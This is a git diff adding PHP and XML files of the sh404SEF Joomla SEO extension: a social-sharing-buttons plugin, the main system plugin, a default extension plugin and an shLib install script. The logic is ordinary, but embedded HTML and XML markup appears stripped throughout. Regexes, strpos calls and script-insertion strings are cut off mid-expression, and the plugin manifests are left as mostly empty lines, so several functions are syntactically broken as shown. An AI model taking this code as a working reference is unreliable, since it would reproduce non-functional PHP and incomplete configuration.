($this->_params->get('buttonsContentLocation', 'onlyTags') == 'after') + { + $buttons = $this->_sh404sefGetSocialButtons(Sh404sefFactory::getConfig(), $url = '', $context, $row); + } + else + { + $buttons = ''; + } + return $buttons; + + } + + public function onSh404sefInsertFBJavascriptSDK(&$page, $sefConfig) + { + static $_inserted = false; + + if ($sefConfig->shMetaManagementActivated && !$_inserted + && ($this->_params->get('enableFbLike', true) || $this->_params->get('enableFbSend', true))) + { + $_inserted = true; + + // append Facebook SDK + $socialSnippet = ShlMvcLayout_Helper::render('com_sh404sef.social.fb_sdk', array('languageTag' => $this->_underscoredLanguageTag)); + + // use page rewrite utility function to insert as needed + $page = shPregInsertCustomTagInBuffer($page, '<\s*body[^>]*>', 'after', $socialSnippet, $firstOnly = 'first'); + } + } + + private function _sh404sefGetSocialButtons($sefConfig, $url = '', $context = '', $content = null, $imageSrc = '', $imageDesc = '', $isTag = false) + { + $url = $this->_computeUrl($url, $sefConfig, $context, $content, $isTag); + if (empty($url)) + { + return $url; + } + + // JLayout renderers data array + $displayData = array(); + $displayData['buttons'] = array(); + + // Tweet + if ($this->_params->get('enableTweet', true) && in_array('twitter', $this->_enabledButtons)) + { + $displayData['buttons']['twitter'] = array('viaAccount' => $this->_params->get('viaAccount', ''), + 'tweetLayout' => $this->_params->get('tweetLayout', 'none'), 'url' => $url, 'languageTag' => $this->_shortLanguageCode); + } + + // plus One + if ($this->_params->get('enablePlusOne', true) && in_array('googleplusone', $this->_enabledButtons)) + { + $displayData['buttons']['googleplusone'] = array('plusOneAnnotation' => $this->_params->get('plusOneAnnotation', 'none'), + 'plusOneSize' => $this->_params->get('plusOneSize', ''), 'url' => $url); + } + + // Google plus page badge + $page = JString::trim($this->_params->get('googlePlusPage', ''), '/'); + if ($this->_params->get('enableGooglePlusPage', true) && in_array('googlepluspage', $this->_enabledButtons) && !empty($page)) + { + $displayData['buttons']['googlepluspage'] = array(); + $displayData['buttons']['googlepluspage']['page'] = $page; + $displayData['buttons']['googlepluspage']['url'] = $url; + $displayData['buttons']['googlepluspage']['googlePlusPageSize'] = $this->_params->get('googlePlusPageSize', 'medium'); + $displayData['buttons']['googlepluspage']['googlePlusCustomText'] = $this->_params->get('googlePlusCustomText', ''); + $displayData['buttons']['googlepluspage']['googlePlusCustomText2'] = $this->_params->get('googlePlusCustomText2', ''); + } + + // Pinterest + if ($this->_params->get('enablePinterestPinIt', 1) && in_array('pinterestpinit', $this->_enabledButtons)) + { + // we use either the first image in content, or the provided one (from a user created tag) + if (empty($imageSrc)) + { + // we're using the first image in the content + $regExp = '#]*)/>#ius'; + $text = empty($content->fulltext) ? (empty($content->introtext) ? '' : $content->introtext) : $content->introtext + . $content->fulltext; + $img = preg_match($regExp, $text, $match); + if (empty($img) || empty($match[1])) + { + // could not find an image in the article + // last chance is maybe webmaster is using Joomla! full text image article feature + // note: if we are not on the canonical page (ie the full article display), Joomla! + // uses the image_intro instead. However, I decided to still pin the full image + // in such case, as the image_intro will most often be a thumbnail + // Is this correct? can there be side effects? + $imageSrc = ''; + if ($context == 'com_content.article' && !empty($content->images)) + { + $registry = new JRegistry; + $registry->loadString($content->images); + $fulltextImage = $registry->get('image_fulltext'); + if (!empty($fulltextImage)) + { + $imageSrc = $fulltextImage; + $imageDesc = $registry->get('image_fulltext_alt', ''); + } + } + else if ($context == 'com_k2.item') + { + // handle K2 images feature + if (!empty($content->imageMedium)) + { + $imageSrc = JURI::root() . str_replace(JURI::base(true) . '/', '', $content->imageMedium); + $imageDesc = $content->image_caption; + } + } + } + else + { + // extract image details + jimport('joomla.utilities.utility'); + $attributes = JUtility::parseAttributes($match[1]); + $imageSrc = empty($attributes['src']) ? '' : $attributes['src']; + $imageDesc = empty($attributes['alt']) ? '' : $attributes['alt']; + } + } + if (!empty($imageSrc)) + { + if (substr($imageSrc, 0, 4) != 'http' && substr($imageSrc, 0, 1) != '/') + { + // relative url, prepend root url + $imageSrc = JURI::base() . $imageSrc; + } + $displayData['buttons']['pinterest'] = array(); + $displayData['buttons']['pinterest']['url'] = $url; + $displayData['buttons']['pinterest']['imageSrc'] = $imageSrc; + $displayData['buttons']['pinterest']['imageDesc'] = $imageDesc; + $displayData['buttons']['pinterest']['pinItCountLayout'] = $this->_params->get('pinItCountLayout', 'none'); + $displayData['buttons']['pinterest']['pinItButtonText'] = $this->_params->get('pinItButtonText', 'Pin it'); + } + } + + // FB Like + if ($this->_params->get('enableFbLike', 1) && in_array('facebooklike', $this->_enabledButtons)) + { + $layout = $this->_params->get('fbLayout', '') == 'none' ? '' : $this->_params->get('fbLayout', ''); + $fbData = array(); + $fbData['fbLayout'] = $layout; + $fbData['url'] = $url; + $fbData['enableFbSend'] = $this->_params->get('enableFbSend', 1); + $fbData['fbAction'] = $this->_params->get('fbAction', ''); + $fbData['fbWidth'] = $this->_params->get('fbWidth', ''); + $fbData['fbShowFaces'] = $this->_params->get('fbShowFaces', 'true'); + $fbData['fbColorscheme'] = $this->_params->get('fbColorscheme', 'light'); + $fbData['enableFbShare'] = $this->_params->get('enableFbShare', 1); + if ($this->_params->get('fbUseHtml5', false)) + { + $displayData['buttons']['fb-like-html5'] = $fbData; + } + else + { + $displayData['buttons']['fb-like'] = $fbData; + } + } + if ($this->_params->get('enableFbSend', 1) && in_array('facebooksend', $this->_enabledButtons)) + { + $fbData = array(); + $fbData['url'] = $url; + $fbData['fbColorscheme'] = $this->_params->get('fbColorscheme', 'light'); + + if ($this->_params->get('fbUseHtml5', false)) + { + $displayData['buttons']['fb-send-html5'] = $fbData; + } + else + { + $displayData['buttons']['fb-send'] = $fbData; + } + } + + if ($this->_params->get('enableLinkedIn', 1) && in_array('linkedin', $this->_enabledButtons)) + { + $displayData['buttons']['linkedin'] = array('loadScript' => !$this->_linkedinScriptLoaded, 'url' => $url, + 'languageTag' => $this->_underscoredLanguageTag, 'layout' => $this->_params->get('linkedinlayout', 'none')); + $this->_linkedinScriptLoaded = true; + } + + // perform replace + if (!empty($displayData['buttons'])) + { + $buttonsHtml = ShlMvcLayout_Helper::render('com_sh404sef.social.wrapper', $displayData); + } + else + { + $buttonsHtml = ''; + } + + return $buttonsHtml; + } + + private function _computeUrl($url, $sefConfig, $context, $content, $isTag = false) + { + // if no URL, use current + if (empty($url)) + { + // no url set on social button tag, we should + // use current URL, except if we are on a page + // where this would cause the wrong url to be shared + // try identify this condition + if ($isTag || $this->_shouldDisplaySocialButtons($url, $sefConfig, $context, $content)) + { + Sh404sefHelperShurl::updateShurls(); + $pageInfo = Sh404sefFactory::getPageInfo(); + if (empty($url)) + { + $url = !$this->_params->get('useShurl', true) || empty($pageInfo->shURL) ? $pageInfo->currentSefUrl + : JURI::base() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $pageInfo->shURL; + } + } + } + + return $url; + } + + private function _shouldDisplaySocialButtons(&$url, $sefConfig, $context = '', $content = null) + { + // if SEO off, don't do anything + if (!$sefConfig->shMetaManagementActivated) + { + return false; + } + + $shouldDisplay = true; + $updatedUrl = ''; + + // user can disable this attempt to identify possible failure + // to select the correct url + if (!$this->_params->get('onlyDisplayOnCanonicalUrl', true)) + { + return $shouldDisplay; + } + + $app = JFactory::getApplication(); + $printing = $app->input->getInt('print'); + if (!empty($printing)) + { + return false; + } + + // get request details + if (empty($context)) + { + $component = ''; + $view = ''; + } + else + { + $bits = explode('.', $context); + if (!empty($bits)) + { + $component = $bits[0]; + $view = empty($bits[1]) ? $app->input->getCmd('view', '') : $bits[1]; + } + } + + if (empty($component) && empty($view)) + { + return false; + } + + switch ($component) + { + case 'com_content': + // only display if on an article page + if ($view == 'article') + { + $id = $app->input->getInt('id', 0); + if (!empty($content->id) && $id != $content->id && !empty($content->link)) + { + $updatedUrl = JURI::getInstance()->toString(array('scheme', 'host')) . $content->link; + } + } + else if ($view == 'featured') + { + if (!empty($content->id)) + { + $link = JRoute::_('index.php?option=com_content&view=article&id=' . $content->id); + $updatedUrl = JURI::getInstance()->toString(array('scheme', 'host')) . $link; + } + } + else + { + $shouldDisplay = false; + } + // check category + if ($shouldDisplay) + { + $cats = $this->_params->get('enabledCategories', array()); + $catid = null; + if (!empty($cats) && ($cats[0] != 'show_on_all')) + { + // find about article category + if (!empty($content)) + { + // we have article details + $catid = empty($content->catid) ? 0 : (int) $content->catid; + } + else + { + // no article details, use request + $catid = JRequest::getInt('catid', 0); + } + if (empty($catid)) + { + if (!empty($content) && !empty($content->id)) + { + $article = JTable::getInstance('content'); + $article->load($content->id); + $catid = !empty($article->catid) ? (int) $article->id : 0; + } + } + if (!empty($catid)) + { + $shouldDisplay = in_array($catid, $cats); + } + } + } + break; + case 'com_k2': + $shouldDisplay = $view == 'item'; + break; + default: + break; + } + + if (!empty($updatedUrl) && $shouldDisplay) + { + $url = $updatedUrl; + } + return $shouldDisplay; + } + + /** + * Insert appropriate script links into document + */ + private function _insertSocialLinks(&$page, $sefConfig) + { + $headLinks = ''; + $bottomLinks = ''; + + // what do we must link to + $showFb = strpos($page, '
    _params->get('googlePlusPage', ''); + $gPlusPage = JString::trim($gPlusPage, '/'); + $showGPlusPage = strpos($page, 'onclick="_sh404sefSocialTrack.GPageTracking') !== false && !empty($gPlusPage); + $showPinterest = strpos($page, 'class="pin-it-button"') !== false; + $showLinkedin = strpos($page, '//platform.linkedin.com/in.js') !== false; + + // insert social tracking javascript + if ($showFb || $showTwitter | $showPlusOne || $showGPlusPage || $showPinterest) + { + // G! use underscore in language tags + $channelUrl = JURI::base() . 'index.php?option=com_sh404sef&view=channelurl&format=raw&langtag=' . $this->_underscoredLanguageTag; + $channelUrl = str_replace(array('http://', 'https://'), '//', $channelUrl); + $headLinks .= "\n"; + $headLinks .= "\n"; + } + + if ($showFb) + { + $page = str_replace('"; + } + + // pinterest + if ($showPinterest) + { + $headLinks .= " + + "; + } + + if ($showFb || $showTwitter | $showPlusOne || $showGPlusPage || $showPinterest || $showLinkedin) + { + // add our wrapping css + $headLinks .= ShlMvcLayout_Helper::render('com_sh404sef.social.css'); + } + + // actually insert + if (!empty($headLinks)) + { + $headLinks .= ""; + + // insert everything in page + $page = shInsertCustomTagInBuffer($page, '', 'before', $headLinks, $firstOnly = 'first'); + } + + if (!empty($bottomLinks)) + { + // insert everything in page + $page = shInsertCustomTagInBuffer($page, '', 'before', $bottomLinks, $firstOnly = 'first'); + } + + } + +} diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml new file mode 100644 index 00000000..648f610e --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml @@ -0,0 +1,215 @@ + + + PLG_SH404SEFCORE_SH404SEFSOCIAL + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + PLG_SH404SEFCORE_SH404SEFSOCIAL_XML_DESCRIPTION + + sh404sefsocial.php + sh404sefsocial.js + index.html + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + +
    + +
    + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + +
    + +
    +
    +
    diff --git a/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php new file mode 100644 index 00000000..3bf5ce9b --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php @@ -0,0 +1,113 @@ +_sefPluginPath = ''; + + // check for Joomsef plugin + if( in_array( $this->_optionNoCom, $this->_config->useJoomsefRouter)) { + // check if file exists, store path if it does + $path = sh404SEF_ABS_PATH . 'plugins/sh404sefextjoomsef/'.$this->_option.'.php'; + if ( shFileExists($path)) { + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_JOOMSEF_ROUTER; + } + } + + // check for Acesef plugin + if( empty( $this->_sefPluginPath) && in_array( $this->_optionNoCom, $this->_config->useAcesefRouter)) { + // check if file exists, store path if it does + $path = sh404SEF_ABS_PATH .'plugins/sh404sefextacesef/'.$this->_option.'.php'; + if ( shFileExists($path)) { + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_ACESEF_ROUTER; + } + } + + // read + $useExtensionPlugin = in_array( $this->_optionNoCom, $this->_config->shDoNotOverrideOwnSef); + + // look first in component owndir for a joomla sef router.php file + $path = sh404SEF_ABS_PATH.'components/'.$this->_option.'/router.php'; + $pathSh404sefExtPlugin = sh404SEF_ABS_PATH.'components/'.$this->_option.'/sef_ext/'.$this->_option.'.php'; + $pathSh404sefBuiltinPlugin = sh404SEF_ABS_PATH.'components/com_sh404sef/sef_ext/'.$this->_option.'.php'; + if (empty( $this->_sefPluginPath) && shFileExists( $path) + && ($useExtensionPlugin // and param said use extension plugin + || (!$useExtensionPlugin // or param said do not use extension plugin BUT + && !shFileExists( $pathSh404sefExtPlugin) // we don't have any other plugin to use + && !shFileExists($pathSh404sefBuiltinPlugin)))) { + // use router.php + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_JOOMLA_ROUTER; + } + + // not found yet, look into extension dir for an sh404sef native plugin + if (empty( $this->_sefPluginPath) && shFileExists( $pathSh404sefExtPlugin)) { + $this->_sefPluginPath = $pathSh404sefExtPlugin; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_SH404SEF_ROUTER; + + } + + // not found yet, look into sh404sef dir for an sh404sef native plugin + if (empty( $this->_sefPluginPath) && shFileExists( $pathSh404sefBuiltinPlugin)) { + $this->_sefPluginPath = $pathSh404sefBuiltinPlugin; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_SH404SEF_ROUTER; + + } + + } + + protected function _findMetaPluginPath( $nonSefVars = array()) { + + $this->_metaPluginPath = ''; + + // look first in component owndir for a meta ext file + $path = sh404SEF_ABS_PATH.'components/'. $this->_option . '/meta_ext/'. $this->_option . '.php'; + if (shFileExists( $path)) { + // use router.php + $this->_metaPluginPath = $path; + } + + // then look for our own meta ext file, if any + if (empty( $this->_metaPluginPath)) { + $path = sh404SEF_ABS_PATH.'components/com_sh404sef/meta_ext/'. $this->_option . '.php'; + if(shFileExists( $path)) { + // use router.php + $this->_metaPluginPath = $path; + } + + } + } +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml new file mode 100644 index 00000000..454af999 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml @@ -0,0 +1,16 @@ + + + sh404sef - Default component support plugin +Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + admin@anything-digital.com + anything-digital.com + 4.4.4.1791 + Provide default support for sef urls and meta data + + sh404sefextplugindefault.php + index.html + + diff --git a/deployed/sh404sef/plugins/system/sh404sef/index.html b/deployed/sh404sef/plugins/system/sh404sef/index.html new file mode 100644 index 00000000..fa4dbc7e --- /dev/null +++ b/deployed/sh404sef/plugins/system/sh404sef/index.html @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/sh404sef/sh404sef.php b/deployed/sh404sef/plugins/system/sh404sef/sh404sef.php new file mode 100644 index 00000000..434eb1c8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/sh404sef/sh404sef.php @@ -0,0 +1,439 @@ +_fixTimeWarning(); + + // get joomla application object + $app = JFactory::getApplication(); + + // check shLib is available + if (!defined('SHLIB_VERSION')) + { + $app + ->enqueuemessage( + 'sh404SEF requires the shLib system plugin to be enabled, but you appear to have disabled it. Please enable it again!', 'error'); + return; + } + + // register our autoloader + $this->_registerAutoloader(); + + // create the unique page info object, and initialize it + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->init(); + + // base class + require_once(JPATH_ADMINISTRATOR . '/components/com_sh404sef/sh404sef.class.php'); + + // define a default path for loading layouts + ShlMvcLayout_Helper::$defaultBasePath = sh404SEF_LAYOUTS; + + // get our configuration + $sefConfig = &Sh404sefFactory::getConfig(); + + // hook for a few SEO hacks + if ($app->isSite()) + { + $this->_hacks(); + } + + // security layer + if (!$app->isAdmin() && $sefConfig->shSecEnableSecurity) + { + require_once(JPATH_ROOT . '/components/com_sh404sef/shSec.php'); + // do security checks + shDoSecurityChecks(); + shCleanUpSecLogFiles(); // see setting in class file for clean up frequency + } + + // optionnally collect page creation time + if (!$app->isAdmin() && $sefConfig->analyticsEnableTimeCollection) + { + jimport('joomla.error.profiler'); + // creating the profiler object will start the counter + $profiler = JProfiler::getInstance('sh404sef_profiler'); + } + + // load plugins, as per configuration + $this->_loadPlugins($type = 'sh404sefcore'); + + // load extension plugins, created by others + $this->_loadPlugins($type = 'sh404sefextplugins'); + + // hook to be able to install other SEF extension plugins + //Sh404sefHelperExtplugins::loadInstallAdapters(); + + // another hook to allow other SEF extensions language file to be loaded + Sh404sefHelperExtplugins::loadLanguageFiles(); + + if (!$sefConfig->Enabled) + { + // go away if not enabled + return; + } + + if (!defined('SH404SEF_IS_RUNNING')) + { + DEFINE('SH404SEF_IS_RUNNING', 1); + } + + if (!$app->isAdmin()) + { + // setup our JPagination replacement, so as to bring + // back # of items per page in the url, in order + // to properly calculate pagination + // will only work if php > 5, so test for that + if (version_compare(phpversion(), '5.0') >= 0) + { + // this register the old file, but do not load it if PHP5 + // will prevent further calls to the same jimport() + // to actually do anything, because the 'joomla.html.pagination' key + // is now registered statically in Jloader::import() + jimport('joomla.html.pagination'); + // now we can register our own path + JLoader::register('JPagination', JPATH_ADMINISTRATOR . '/components/com_sh404sef/pagination.php'); + } + + // attach parse and build rules to Joomla router + $joomlaRouter = $app->getRouter(); + $pageInfo->router = new Sh404sefClassRouter(); + $joomlaRouter->attachParseRule(array($pageInfo->router, 'parseRule')); + $joomlaRouter->attachBuildRule(array($pageInfo->router, 'buildRule')); + + // pretend SEF is on, mostly for Joomla SEF plugin to work + // as it checks directly 'sef' value in config, instead of + // using $router->getMode() + JFactory::$config->set('sef', 1); + + // we use opposite setting from J! + $mode = 1 - $sefConfig->shRewriteMode; + JFactory::$config->set('sef_rewrite', $mode); + + // perform startup operations, such as detecting request caracteristics + // and checking redirections + $uri = JURI::getInstance(); + $pageInfo->router->startup($uri); + } + } + + public function onAfterRoute() + { + if (defined('SH404SEF_IS_RUNNING')) + { + // set template, to perform alternate template output, if set to + $app = JFactory::getApplication(); + if (!$app->isAdmin()) + { + $this->_setAlternateTemplate(); + } + } + } + + public function onAfterDispatch() + { + if (defined('SH404SEF_IS_RUNNING')) + { + $app = JFactory::getApplication(); + + if (!$app->isAdmin()) + { + // reset alternate template + $this->_resetAlternateTemplate(); + + // create shurl on the fly for this page + // if not already done + if (Sh404sefConfigurationEdition::$id == 'full' && JFactory::getDocument()->getType() == 'html') + { + // shortlinks + Sh404sefHelperShurl::updateShurls(); + } + } + } + } + + /* page rewriting features */ + public function onAfterRender() + { + if (defined('SH404SEF_IS_RUNNING')) + { + if (JFactory::getApplication()->isAdmin()) + { + if (version_compare(JVERSION, '3.0', 'ge')) + { + // are we on an edit page? + $option = JRequest::getCmd('option'); + $view = JRequest::getCmd('view'); + $layout = JRequest::getCmd('layout'); + if ($layout == 'edit' + && (($option == 'com_content' && $view == 'article') || ($option == 'com_categories' && $view == 'category') + || ($option == 'com_contact' && $view == 'contact') || ($option == 'com_newsfeeds' && $view == 'newsfeed') + || ($option == 'com_weblinks' && $view == 'weblink'))) + { + // variations in field name + if ($option == 'com_newsfeeds' || $option == 'com_contact') + { + $titleFieldName = 'jform_name'; + } + else + { + $titleFieldName = 'jform_title'; + } + // attach an input counter to the title input boxes + $document = JFactory::getDocument(); + if ($document->getType() == 'html') + { + $page = JResponse::getBody(); + // insert css and js + $link = ''; + if (strpos($page, 'media/plg_shlib/css/bs.css') === false) + { + $link .= ''; + } + if (strpos($page, 'media/plg_shlib/js/bs.js') === false) + { + $link .= "\n" . ''; + } + if (!empty($link)) + { + $page = str_replace('', $link . '', $page); + } + + // insert custom js to attach counters to title and metadesc fields + $script = ShlHtmlBs_Helper::renderInputCounter($titleFieldName, + Sh404sefFactory::getPConfig()->metaDataSpecs['metatitle-joomla-be']); + $script .= ShlHtmlBs_Helper::renderInputCounter('jform_metadesc', + Sh404sefFactory::getPConfig()->metaDataSpecs['metadesc-joomla-be']); + $page = str_replace('', $script . '', $page); + JResponse::setBody($page); + } + } + } + + return; + } + + $sefConfig = Sh404sefFactory::getConfig(); + + // return if no seo optim to perform + if ($sefConfig->shMetaManagementActivated || Sh404sefHelperAnalytics::isEnabled()) + { + // go away if not enabled + $include = JPATH_ROOT . '/components/com_sh404sef/shPageRewrite.php'; + require_once $include; + } + } + } + + /** + * A set of SEO hacks that don't fit elsewhere + * as we usually want a very quick response and + * avoid wasted resources + * + */ + protected function _hacks() + { + // facebook: provide a channelUrl to like/Send buttons + $option = JRequest::getCmd('option', ''); + $view = JRequest::getCmd('view', ''); + $format = JRequest::getCmd('format', 'html'); + + if ($option == 'com_sh404sef' && $view == 'channelurl' && $format == 'raw') + { + // this is a request for the channelUrl + $langtag = JRequest::getCmd('langtag', 'en_GB'); + $pageContent = ''; + if (!headers_sent()) + { + $cacheExpire = 60 * 60 * 24 * 365; + header("Pragma: public"); + header("Cache-Control: max-age=" . $cacheExpire); + header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $cacheExpire) . ' GMT'); + } + echo $pageContent; + jexit(); + } + + // multilingual hack: set cookie on request to homepage, as Joomla doesn't + // associate / with default language + $app = JFactory::getApplication(); + if ($app->getLanguageFilter()) + { + if ($format == 'html' && $this->_shouldSetHomePageLanguage($app)) + { + $defaultLangCode = Sh404sefHelperLanguage::getDefaultLanguageTag(); + Sh404sefHelperLanguage::setLanguageCookie($defaultLangCode, $this->getLangCookieTime()); + // set the request var + $app->input->set('language', $defaultLangCode); + JRequest::setVar('language', $defaultLangCode); + // now set language object + JFactory::$language = JLanguage::getInstance($defaultLangCode, JFactory::getConfig()->get('debug_lang')); + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->setCurrentLanguage($defaultLangCode); + } + } + } + + protected function _shouldSetHomePageLanguage($app) + { + // don't break browser language detection + $langCookie = $app->input->cookie->get(JApplication::getHash('language'), null); + if (empty($langCookie) && $app->getDetectBrowser()) + { + return false; + } + + // don't set lang on (forms) POST + if ($app->input->getMethod() == "POST" && count($app->input->post) == 0) + { + return false; + } + + $pageInfo = Sh404sefFactory::getPageInfo(); + $base = JUri::getInstance()->base(); + $request = str_replace($base, '', $pageInfo->currentSefUrl); + + // easy, just home page + if ($request == '') + { + return true; + } + + // might be some home page variation: simple, just /index.php + if ($request == 'index.php') + { + return true; + } + + // other home page variation: index.php?lang=xx: comply with that + $langCodeInUrl = Sh404sefHelperUrl::getUrlLang($request); + if (!empty($langCodeInUrl)) + { + return false; + } + + // other home page variation: index.php?val1=xx&val2=yy, we should set language + $bits = explode('?', $request); + if (!empty($bits) && $bits['0'] == 'index.php') + { + return true; + } + + return false; + } + + /** + * Load and register the plugins currently activated by webmaster + * + * @return none + */ + protected function _loadPlugins($type) + { + // required joomla library + jimport('joomla.plugin.helper.php'); + + // import the plugin files + $status = JPluginHelper::importPlugin($type); + + return $status; + } + + /** + * Register our autoloader function with PHP + */ + protected function _registerAutoloader() + { + // get Joomla autloader out + spl_autoload_unregister("__autoload"); + + // add our own + include JPATH_ADMINISTRATOR . '/components/com_sh404sef/helpers/autoloader.php'; + $registered = spl_autoload_register(array('Sh404sefAutoloader', 'doAutoload')); + + // stitch back Joomla's at the end of the list + if (function_exists("__autoload")) + { + spl_autoload_register("__autoload"); + } + + if (!defined('SH404SEF_AUTOLOADER_LOADED')) + { + define('SH404SEF_AUTOLOADER_LOADED', 1); + } + } + + protected function _fixTimeWarning() + { + // prevent timezone not set warnings to appear all over, + // especially for PHP 5.3.3+ + $serverTimezone = @date_default_timezone_get(); + @date_default_timezone_set($serverTimezone); + } + + protected function _setAlternateTemplate() + { + $app = JFactory::getApplication(); + $sefConfig = Sh404sefFactory::getConfig(); + + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED') && !empty($sefConfig->alternateTemplate)) + { + // global on/off switch + self::$_template = $app->getTemplate(); // save current template + $app->setTemplate($sefConfig->alternateTemplate); + } + } + + protected function _resetAlternateTemplate() + { + $app = JFactory::getApplication(); + $sefConfig = Sh404sefFactory::getConfig(); + + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED') && !empty($sefConfig->alternateTemplate)) + { + // global on/off switch + if (empty(self::$_template)) + { + return; + } + $app->setTemplate(self::$_template); // restore old template + } + } + + private function getLangCookieTime() + { + $cookieTime = 0; + $languageFilterPlugin = JPluginHelper::getPlugin('system', 'languagefilter'); + if (!empty($languageFilterPlugin)) + { + $params = new JRegistry($languageFilterPlugin->params); + if ($params->get('lang_cookie', 1) == 1) + { + $cookieTime = time() + 365 * 86400; + } + } + return $cookieTime; + } +} diff --git a/deployed/sh404sef/plugins/system/sh404sef/sh404sef.xml b/deployed/sh404sef/plugins/system/sh404sef/sh404sef.xml new file mode 100644 index 00000000..99b4b100 --- /dev/null +++ b/deployed/sh404sef/plugins/system/sh404sef/sh404sef.xml @@ -0,0 +1,16 @@ + + + sh404sef - System plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Sh404sef main system plugin + + sh404sef.php + index.html + + diff --git a/deployed/sh404sef/plugins/system/shlib/index.html b/deployed/sh404sef/plugins/system/shlib/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/installation.script.php b/deployed/sh404sef/plugins/system/shlib/installation.script.php new file mode 100644 index 00000000..256ee341 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/installation.script.php @@ -0,0 +1,168 @@ +_updateDbStructure(); + + $this->_hacks(); + + } + + public function uninstall($parent) { + + $db = JFactory::getDbo(); + $db->dropTable('#__shlib_consumers' ); + $db->dropTable('#__shlib_resources' ); + + } + + public function update($parent) { + + // create registration table, if it was not done upon initial install + $this->_updateDbStructure(); + + $this->_hacks(); + + } + + public function preflight( $route, $installer) { + + if($route == 'install' || $route == 'update') { + // check Joomla! version + if(version_compare( JVERSION, self::MIN_JOOMLA_VERSION, '<') || version_compare( JVERSION, self::MAX_JOOMLA_VERSION, 'ge')) { + JFactory::getApplication()->enqueueMessage( sprintf( 'shLib requires Joomla! version between %s and %s (you are using %s). Aborting installation', self::MIN_JOOMLA_VERSION, self::MAX_JOOMLA_VERSION, JVERSION)); + return false; + } + } + } + + public function postflight($type, $parent) { + + } + + /** + * Things that don't fit elsewhere + */ + protected function _hacks() { + + // Josetta registration + // First versions of Josetta used shLib, but a version prior + // to the addition of the resource manager. Therefore when + // installing an extension (sh404sef) using shLib on a site + // running an old version of Josetta (pre-1.3.0), Josetta + // does not register itself. Thus uninstalling sh404sef, in that example, + // may result in uninstalling also shLIb, and breaking Josetta + // so if Josetta is installed on that site, we make sure + // there's an entry for it in the registration table + $path = JPATH_ROOT . '/administrator/components/com_josetta/index.html'; + jimport( 'joomla.filesystem.file'); + if(JFile::exists( $path)) { + try { + // do we have a record? + $db = JFactory::getDBO(); + $query = $db->getQuery( true); + $query->select( '*')->from('#__shlib_consumers'); + $query->where( $db->quoteName('resource') . '=' . $db->quote( 'shlib')); + $query->where( $db->quoteName('context') . '=' . $db->quote( 'com_josetta')); + $existingRecord = $db->setQuery( $query)->loadObject(); + + // if not, create one + if(empty( $existingRecord)) { + $query->clear(); + $query->insert( '#__shlib_consumers'); + $query->set( $db->quoteName('resource') . '=' . $db->quote( 'shlib')); + $query->set( $db->quoteName('context') . '=' . $db->quote( 'com_josetta')); + $db->setQuery( $query)->execute(); + } + } catch (Exception $e) { + if(class_exists( 'ShlSystem_Log') && method_exists( 'ShlSystem_Log', 'error')) { + ShlSystem_Log::error( 'shlib', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + return false; + } + } + } + + /** + * Create database table needed to register/unregister + * resource shared by several extensions + * + * @throws Exception + */ + protected function _updateDbStructure() { + + $query1 = "CREATE TABLE IF NOT EXISTS `#__shlib_consumers` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `resource` varchar(50) NOT NULL DEFAULT '', + `context` varchar(50) NOT NULL DEFAULT '', + `min_version` varchar(20) NOT NULL DEFAULT '0', + `max_version` varchar(20) NOT NULL DEFAULT '0', + `refuse_versions` varchar(255) 